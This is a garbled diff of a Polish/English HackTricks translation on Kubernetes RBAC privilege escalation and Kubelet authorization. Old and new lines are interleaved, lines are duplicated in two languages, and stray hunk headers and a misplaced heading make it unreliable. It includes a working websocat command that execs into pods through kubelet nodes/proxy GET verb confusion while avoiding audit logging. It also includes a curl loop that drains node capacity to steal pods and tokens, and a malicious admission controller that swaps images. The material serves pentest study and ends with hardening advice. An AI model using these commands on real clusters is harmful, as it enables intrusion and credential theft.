> Rozmawiając z punktem końcowym API K8s, **token uwierzytelniający GCP zostanie wysłany**. Następnie GCP, poprzez punkt końcowy API K8s, najpierw **sprawdzi, czy podmiot** (po e-mailu) **ma jakikolwiek dostęp w klastrze**, a następnie sprawdzi, czy ma **jakikolwiek dostęp przez GCP IAM**.\
> Jeśli **jakiekolwiek** z tych stwierdzeń jest **prawdziwe**, otrzyma **odpowiedź**. Jeśli **nie**, zostanie podany **błąd** sugerujący nadanie **uprawnień przez GCP IAM**.
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
Pierwsza metoda to użycie **GCP IAM**, uprawnienia K8s mają swoje **odpowiedniki w uprawnieniach GCP IAM**, a jeśli podmiot je ma, będzie mógł z nich korzystać.
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
Drugą metodą jest **przypisanie uprawnień K8s wewnątrz klastra** poprzez identyfikację użytkownika po jego **e-mailu** (w tym konta serwisowe GCP).
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
### Tworzenie tokena serviceaccounts
Podmioty, które mogą **tworzyć TokenRequests** (`serviceaccounts/token`) podczas rozmowy z punktem końcowym API K8s SAs (informacje z [**tutaj**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Podmioty, które mogą **tworzyć TokenRequests** (`serviceaccounts/token`) podczas komunikacji z K8s api endpoint dotyczącym SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Podmioty, które mogą **`update`** lub **`patch`** **`pods/ephemeralcontainers`**, mogą uzyskać **wykonanie kodu na innych podach**, a potencjalnie **wyjść** na ich węzeł, dodając kontener ephemerowy z uprzywilejowanym securityContext.
Podmioty, które mogą **`update`** lub **`patch`** **`pods/ephemeralcontainers`** mogą uzyskać **wykonanie kodu w innych podach**, a potencjalnie **uciec** do ich node przez dodanie ephemeral container z privileged securityContext
### ValidatingWebhookConfigurations lub MutatingWebhookConfigurations
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Podmioty z dowolnym z czasowników `create`, `update` lub `patch` nad `validatingwebhookconfigurations` lub `mutatingwebhookconfigurations` mogą być w stanie **utworzyć jedną z takich webhookconfigurations**, aby móc **eskalować uprawnienia**.
Podmioty mające dowolny z werbów `create`, `update` lub `patch` nad `validatingwebhookconfigurations` lub `mutatingwebhookconfigurations` mogą być w stanie **utworzyć jedną z takich webhookconfigurations**, aby móc **eskalować uprawnienia**.
Dla [`mutatingwebhookconfigurations` przykładu sprawdź tę sekcję tego posta](#malicious-admission-controller).
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
### Eskalacja
Jak można przeczytać w następnej sekcji: [**Wbudowana zapobieganie eskalacji uprawnień**](#built-in-privileged-escalation-prevention), podmiot nie może aktualizować ani tworzyć ról lub clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem sytuacji, gdy ma **czasownik `escalate` lub `*`** nad **`roles`** lub **`clusterroles`** oraz odpowiednie opcje wiązania.\
Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które posiada.
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
### Proxy węzłów
### Nodes proxy
Podmioty z dostępem do podzasobu **`nodes/proxy`** mogą **wykonywać kod na podach** za pośrednictwem API Kubelet (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Więcej informacji na temat uwierzytelniania Kubelet na tej stronie:
Podmioty z dostępem do subresource **`nodes/proxy`** mogą **wykonywać kod w podach** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Masz przykład, jak uzyskać [**RCE rozmawiając autoryzowanym z API Kubelet tutaj**](../pentesting-kubernetes-services/index.html#kubelet-rce).
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
### Usuwanie podów + węzły nieschedulowalne
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
Podmioty, które mogą **usuwać pody** (czasownik `delete` nad zasobem `pods`), lub **ewikować pody** (czasownik `create` nad zasobem `pods/eviction`), lub **zmieniać status poda** (dostęp do `pods/status`) i mogą **sprawić, że inne węzły będą nieschedulowalne** (dostęp do `nodes/status`) lub **usuwać węzły** (czasownik `delete` nad zasobem `nodes`) i mają kontrolę nad pod, mogą **kraść pody z innych węzłów**, aby były **wykonywane** w **skompromentowanym** **węźle**, a atakujący może **ukraść tokeny** z tych podów.
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
```bash
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- Użyj **adresu IP węzła**, nie nazwy węzła. To samo żądanie z `curl -X POST` będzie **zabronione**, ponieważ mapuje się na `create`.
- Bezpośredni dostęp do kubeleta omija API server, więc AuditPolicy pokazuje tylko `subjectaccessreviews` z user agenta kubeleta i **nie loguje poleceń `pods/exec`**.
- Wypisz dotknięte service accounts za pomocą [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a), aby znaleźć tokeny ograniczone do `nodes/proxy` GET.
### Usuwanie pods + ustawianie węzłów jako unschedulable
Podmioty, które mogą **usunąć pods** (`delete` verb over `pods` resource), lub **evict pods** (`create` verb over `pods/eviction` resource), lub **zmienić status podów** (dostęp do `pods/status`) i które mogą **uczynić inne nodes unschedulable** (dostęp do `nodes/status`) lub **usuwać nodes** (`delete` verb over `nodes` resource) — i mają kontrolę nad pewnym podem — mogą przenieść pody z innych nodes tak, że zostaną one uruchomione na skompromitowanym węźle, a atakujący będzie mógł ukraść tokeny z tych podów.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -641,41 +661,41 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### Status usług (CVE-2020-8554)
### Services status (CVE-2020-8554)
Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **niezałatany CVE-2020-8554** i przeprowadzić **ataki MiTM przeciwko klastrowi**. Większość środków zaradczych dla CVE-2020-8554 zapobiega jedynie usługom ExternalIP (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **nienaprawiony CVE-2020-8554** i uruchomić **MiTM attacks** na klaster. Większość środków łagodzących dla CVE-2020-8554 zapobiega jedynie ExternalIP services (zgodnie z [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Status węzłów i podów
### Nodes and Pods status
Podmioty z uprawnieniami **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą modyfikować etykiety, aby wpłynąć na wymuszone ograniczenia harmonogramowania.
Podmioty posiadające uprawnienia **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą zmodyfikować etykiety, aby wpłynąć na wymuszane ograniczenia harmonogramowania.
## Wbudowana zapobieganie eskalacji uprawnień
## Built-in Privileged Escalation Prevention
Kubernetes ma [wbudowany mechanizm](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) zapobiegający eskalacji uprawnień.
System ten zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikację ról lub powiązań ról**. Egzekwowanie tej zasady odbywa się na poziomie API, co stanowi zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny.
System zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikowanie roles lub role bindings**. Egzekwowanie tej zasady odbywa się na poziomie API, zapewniając zabezpieczenie nawet gdy RBAC authorizer jest nieaktywny.
Zasada ta stanowi, że **użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola obejmuje**. Ponadto zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo w skali klastra dla ClusterRoles, albo ograniczony do tej samej przestrzeni nazw (lub w skali klastra) dla Ról.
Zasada wi, że **użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola zawiera**. Co więcej, zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo ogólnoklastrowy dla ClusterRoles, albo ograniczony do tej samej namespace (lub ogólnoklastrowy) dla Roles.
> [!WARNING]
> Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**, może zwiększyć uprawnienia ról i clusterroles, nawet nie mając tych uprawnień.
> Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**, może zwiększać uprawnienia roles i clusterroles nawet bez posiadania tych uprawnień samodzielnie.
### **Pobierz i zmodyfikuj RoleBindings/ClusterRoleBindings**
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu wyjaśnionego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować rolebindingu, aby przyznać sobie lub innemu SA jakieś uprawnienia, jeśli ich już nie masz.**
> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu opisanego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować roleboundingu, aby nadać sobie lub innemu SA pewne uprawnienia, jeśli ich już nie posiadasz.**
Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi na **powiązanie ról z kontem usługi**. To uprawnienie może potencjalnie prowadzić do eskalacji uprawnień, ponieważ **pozwala użytkownikowi powiązać uprawnienia administratora z skompromitowanym kontem usługi.**
Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi **związać roles z service account**. To uprawnienie może prowadzić do eskalacji uprawnień, ponieważ **pozwala użytkownikowi przypisać uprawnienia administratora do przejętego service account.**
## Inne ataki
## Other Attacks
### Aplikacja proxy sidecar
### Sidecar proxy app
Domyślnie nie ma żadnego szyfrowania w komunikacji między podami. Wzajemna autoryzacja, dwukierunkowa, pod do pod.
Domyślnie komunikacja między podami nie jest szyfrowana. Mutual authentication, two-way, pod to pod.
#### Utwórz aplikację proxy sidecar
#### Create a sidecar proxy app
Kontener sidecar polega po prostu na dodaniu **drugiego (lub więcej) kontenera wewnątrz poda**.
Kontener sidecar polega na dodaniu **drugiego (lub więcej) kontenera wewnątrz poda**.
Na przykład, poniżej znajduje się część konfiguracji poda z 2 kontenerami:
```yaml
@@ -687,15 +707,15 @@ image: nginx
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Na przykład, aby wprowadzić backdoora do istniejącego poda z nowym kontenerem, możesz po prostu dodać nowy kontener w specyfikacji. Zauważ, że możesz **dać więcej uprawnień** drugiemu kontenerowi, których pierwszy nie będzie miał.
Na przykład, aby backdoor istniejący pod przez dodanie nowego container, możesz po prostu dodać nowy container w specyfikacji. Zauważ, że możesz **przyznać więcej uprawnień** drugiemu containerowi, których pierwszy nie będzie miał.
Więcej informacji na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
Więcej informacji: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Złośliwy Kontroler Przyjęć
### Złośliwy Admission Controller
Kontroler przyjęć **przechwytuje żądania do serwera API Kubernetes** przed zapisaniem obiektu, ale **po uwierzytelnieniu** **i autoryzacji** żądania.
admission controller **przechwytuje żądania do Kubernetes API server** przed zapisaniem obiektu, ale **po uwierzytelnieniu** **i autoryzacji** żądania.
Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Kontroler Przyjęć Mutacji**, będzie mógł **modyfikować już uwierzytelnione żądania**. Będzie miał potencjalnie możliwość eskalacji uprawnień, a zazwyczaj także utrzymania się w klastrze.
Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Mutation Admission Controller**, będzie mógł **modyfikować już uwierzytelnione żądania**. Może to potencjalnie umożliwić privesc, a częściej pozwolić na utrwalenie się w klastrze.
**Przykład z** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -716,18 +736,18 @@ Następnie wdroż nowy pod:
kubectl run nginx --image nginx
kubectl get po -w
```
Kiedy widzisz błąd `ErrImagePull`, sprawdź nazwę obrazu za pomocą jednego z zapytań:
Gdy zobaczysz błąd `ErrImagePull`, sprawdź nazwę obrazu za pomocą jednego z zapytań:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
Jak widać na powyższym obrazie, próbowaliśmy uruchomić obraz `nginx`, ale ostatecznie wykonany obraz to `rewanthtammana/malicious-image`. Co się właśnie stało!!?
Jak widać na powyższym obrazku, próbowaliśmy uruchomić obraz `nginx`, ale ostatecznie wykonany obraz to `rewanthtammana/malicious-image`. Co się właśnie stało?!
#### Techniczne szczegóły
#### Szczegóły techniczne
Skrypt `./deploy.sh` ustanawia kontroler dostępu z mutującym webhookiem, który modyfikuje żądania do API Kubernetes zgodnie z określonymi w nim liniami konfiguracyjnymi, wpływając na zaobserwowane wyniki:
Skrypt `./deploy.sh` ustanawia mutating webhook admission controller, który modyfikuje żądania do Kubernetes API zgodnie z wpisami w swojej konfiguracji, wpływając na obserwowane rezultaty:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -737,7 +757,7 @@ Value: "rewanthtammana/malicious-image",
```
Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na `rewanthtammana/malicious-image`.
## Ominięcie OPA Gatekeeper
## OPA Gatekeeper bypass
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
@@ -745,20 +765,20 @@ Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na `rewa
## Najlepsze praktyki
### **Wyłączenie automatycznego montowania tokenów konta usługi**
### **Wyłączanie automatycznego montowania tokenów konta serwisowego**
- **Pody i konta usługi**: Domyślnie pody montują token konta usługi. Aby zwiększyć bezpieczeństwo, Kubernetes pozwala na wyłączenie tej funkcji automatycznego montowania.
- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji konta usługi lub podów, począwszy od wersji Kubernetes 1.6.
- **Pods i Service Accounts**: Domyślnie pody montują token konta serwisowego. Aby zwiększyć bezpieczeństwo, Kubernetes umożliwia wyłączenie tej funkcji automount.
- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji kont serwisowych lub podów, począwszy od wersji Kubernetes 1.6.
### **Ograniczone przypisanie użytkowników w RoleBindings/ClusterRoleBindings**
### **Ograniczone przypisywanie użytkowników w RoleBindings/ClusterRoleBindings**
- **Selektywne włączenie**: Upewnij się, że tylko niezbędni użytkownicy są włączeni w RoleBindings lub ClusterRoleBindings. Regularnie audytuj i usuwaj nieistotnych użytkowników, aby utrzymać ścisłe bezpieczeństwo.
- **Selektywne uwzględnianie**: Upewnij się, że tylko niezbędni użytkownicy są uwzględnieni w RoleBindings lub ClusterRoleBindings. Regularnie przeprowadzaj audyt i usuwaj zbędnych użytkowników, aby utrzymać wysokie bezpieczeństwo.
### **Role specyficzne dla przestrzeni nazw zamiast ról ogólnych**
### **Role specyficzne dla namespace zamiast ról na poziomie klastra**
- **Role vs. ClusterRoles**: Preferuj używanie ról i RoleBindings dla uprawnień specyficznych dla przestrzeni nazw, zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie w całym klastrze. Takie podejście oferuje dokładniejszą kontrolę i ogranicza zakres uprawnień.
- **Roles vs. ClusterRoles**: Preferuj używanie Roles i RoleBindings dla uprawnień specyficznych dla namespace zamiast ClusterRoles i ClusterRoleBindings, które obowiązują w całym klastrze. Takie podejście daje dokładniejszą kontrolę i ogranicza zakres uprawnień.
### **Używaj narzędzi automatycznych**
### **Używaj zautomatyzowanych narzędzi**
{{#ref}}
https://github.com/cyberark/KubiScan
@@ -772,12 +792,15 @@ https://github.com/aquasecurity/kube-hunter
https://github.com/aquasecurity/kube-bench
{{#endref}}
## **Referencje**
## **Źródła**
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
- [websocat](https://github.com/vi/websocat)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,24 +1,24 @@
# Kubelet Authentication & Authorization
# Kubelet Uwierzytelnianie i autoryzacja
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Uwierzytelnianie Kubeleta <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**Z dokumentacji:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzucane przez inne skonfigurowane metody uwierzytelniania, są traktowane jako żądania anonimowe i otrzymują **nazwa użytkownika `system:anonymous`** oraz **grupa `system:unauthenticated`**.
Domyślnie żądania do punktu końcowego HTTPS kubeleta, które nie zostaną odrzucone przez inne skonfigurowane metody uwierzytelniania, są traktowane jako żądania anonimowe i otrzymują **nazwę użytkownika `system:anonymous`** oraz **grupę `system:unauthenticated`**.
**3** metody **uwierzytelniania** to:
The **3** authentication **methods** are:
- **Anonimowe** (domyślnie): Użyj ustawienia parametru **`--anonymous-auth=true` lub konfiguracji:**
- **Anonymous** (domyślnie): Ustaw parametr **`--anonymous-auth=true`** lub konfigurację:
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: To **włącz** tokeny **API bearer** kubectl jako autoryzację (każdy ważny token będzie ważny). Włącz to za pomocą:
- upewnij się, że grupa API `authentication.k8s.io/v1beta1` jest włączona w serwerze API
- **Webhook**: To spowoduje **włączenie** kubectl **API bearer tokens** jako mechanizmu autoryzacji (każdy ważny token będzie akceptowany). Zezwól na to, wykonując:
- upewnij się, że grupa API `authentication.k8s.io/v1beta1` jest włączona na serwerze API
- uruchom kubelet z flagami **`--authentication-token-webhook`** i **`--kubeconfig`** lub użyj następującego ustawienia:
```json
"authentication": {
@@ -28,11 +28,11 @@ Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzuc
},
```
> [!NOTE]
> Kubelet wywołuje **`TokenReview` API** na skonfigurowanym serwerze API, aby **określić informacje o użytkowniku** z tokenów typu bearer
- **Certyfikaty klienta X509:** Umożliwiają uwierzytelnianie za pomocą certyfikatów klienta X509
- zobacz [dokumentację uwierzytelniania apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) po więcej szczegółów
- uruchom kubelet z flagą `--client-ca-file`, podając pakiet CA do weryfikacji certyfikatów klienta. Lub z konfiguracją:
> Kubelet wywołuje **`TokenReview` API** na skonfigurowanym serwerze API, aby **określić informacje o użytkowniku** z bearer tokens
>
- **X509 client certificates:** Pozwalają na uwierzytelnianie za pomocą certyfikatów klienta X509
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@ Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzuc
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Autoryzacja Kubeleta <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Każde żądanie, które zostało pomyślnie uwierzytelnione (w tym anonimowe żądanie) **jest następnie autoryzowane**. **Domyślny** tryb autoryzacji to **`AlwaysAllow`**, który **zezwala na wszystkie żądania**.
Każde żądanie, które zostanie pomyślnie uwierzytelnione (w tym żądanie anonimowe) **jest następnie autoryzowane**. **domyślny** tryb autoryzacji to **`AlwaysAllow`**, który **zezwala na wszystkie żądania**.
Jednak inną możliwą wartością jest **`webhook`** (co jest tym, co **najczęściej znajdziesz na zewnątrz**). Ten tryb **sprawdzi uprawnienia uwierzytelnionego użytkownika**, aby zezwolić lub zabronić wykonania akcji.
However, the other possible value is **`webhook`** (który jest tym, co **przeważnie spotkasz**). Ten tryb **sprawdza uprawnienia uwierzytelnionego użytkownika**, aby zezwolić lub odmówić wykonania akcji.
> [!WARNING]
> Zauważ, że nawet jeśli **uwierzytelnianie anonimowe jest włączone**, **dostęp anonimowy** może **nie mieć żadnych uprawnień** do wykonania jakiejkolwiek akcji.
> Należy pamiętać, że nawet jeśli **uwierzytelnianie anonimowe jest włączone** to **dostęp anonimowy** może **nie mieć żadnych uprawnień** do wykonania żadnej akcji.
Autoryzacja za pomocą webhooka może być skonfigurowana za pomocą **parametru `--authorization-mode=Webhook`** lub za pomocą pliku konfiguracyjnego z:
Autoryzację przez webhook można skonfigurować używając parametru **`--authorization-mode=Webhook`** lub przez plik konfiguracyjny za pomocą:
```json
"authorization": {
"mode": "Webhook",
@@ -59,41 +59,45 @@ Autoryzacja za pomocą webhooka może być skonfigurowana za pomocą **parametru
}
},
```
Kubelet wywołuje API **`SubjectAccessReview`** na skonfigurowanym serwerze API, aby **określić**, czy każde żądanie jest **autoryzowane.**
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
Kubelet autoryzuje żądania API, używając tego samego podejścia [atrybutów żądania](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) co apiserver:
The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
- **Akcja**
| Czasownik HTTP | czasownik żądania |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| POST | create |
| GET, HEAD | get (dla pojedynczych zasobów), list (dla kolekcji, w tym pełnej zawartości obiektu), watch (dla obserwowania pojedynczego zasobu lub kolekcji zasobów) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (dla pojedynczych zasobów), deletecollection (dla kolekcji) |
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- **Zasób** komunikujący się z API Kubelet to **zawsze** **nodes**, a **subresource** jest **określany** na podstawie ścieżki przychodzącego żądania:
- Zasób komunikujący się z Kubelet api to **zawsze** **nodes**, a **subresource** jest **określany** na podstawie ścieżki przychodzącego żądania:
| API Kubelet | zasób | subresource |
| --------------| ------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _wszystkie inne_ | nodes | proxy |
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _all others_ | nodes | proxy |
Na przykład, poniższe żądanie próbowało uzyskać dostęp do informacji o podach kubelet bez uprawnień:
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
For example, the following request tried to access the pods info of kubelet without permission:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Otrzymaliśmy **Forbidden**, więc żądanie **przeszło kontrolę autoryzacji**. Gdyby nie, otrzymalibyśmy tylko komunikat `Unauthorised`.
- Możemy zobaczyć **nazwa użytkownika** (w tym przypadku z tokena)
- Sprawdź, jak **zasób** to **nodes**, a **subzasób** to **proxy** (co ma sens w kontekście wcześniejszych informacji)
- Otrzymaliśmy **Forbidden**, więc żądanie **przeszło sprawdzenie uwierzytelniania**. Gdyby nie, otrzymalibyśmy tylko komunikat `Unauthorised`.
- Widać **username** (w tym przypadku z tokena)
- Zwróć uwagę, że **resource** to **nodes**, a **subresource** to **proxy** (co ma sens w świetle powyższych informacji)
## References
## Referencje
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}